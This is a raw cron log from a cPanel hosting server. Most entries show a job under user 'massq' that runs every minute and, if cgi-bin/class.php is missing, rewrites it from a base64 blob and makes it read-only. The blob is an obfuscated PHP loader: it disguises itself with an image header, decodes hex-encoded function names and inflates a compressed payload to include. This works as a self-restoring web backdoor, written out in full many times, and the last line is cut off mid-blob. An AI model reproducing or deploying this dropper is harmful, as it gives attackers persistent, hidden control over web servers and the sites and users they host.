Apr  8 08:50:01 server CROND[30890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:51:01 server CROND[31009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:52:01 server CROND[31083]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:53:01 server CROND[31143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:54:01 server CROND[31192]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:55:01 server CROND[31252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:55:01 server CROND[31253]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 08:55:01 server CROND[31254]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 08:56:01 server CROND[31359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:57:01 server CROND[31625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:57:01 server CROND[31626]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 08:58:01 server CROND[31693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 08:59:01 server CROND[31750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:00:01 server CROND[31809]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:00:01 server CROND[31810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:00:01 server CROND[31808]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Apr  8 09:00:01 server CROND[31811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:00:01 server CROND[31812]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:01:01 server CROND[31929]: (root) CMD (run-parts /etc/cron.hourly)
Apr  8 09:01:01 server CROND[31930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:01:01 server run-parts(/etc/cron.hourly)[31929]: starting 0anacron
Apr  8 09:01:01 server run-parts(/etc/cron.hourly)[31942]: finished 0anacron
Apr  8 09:02:01 server CROND[32108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:03:01 server CROND[32187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7E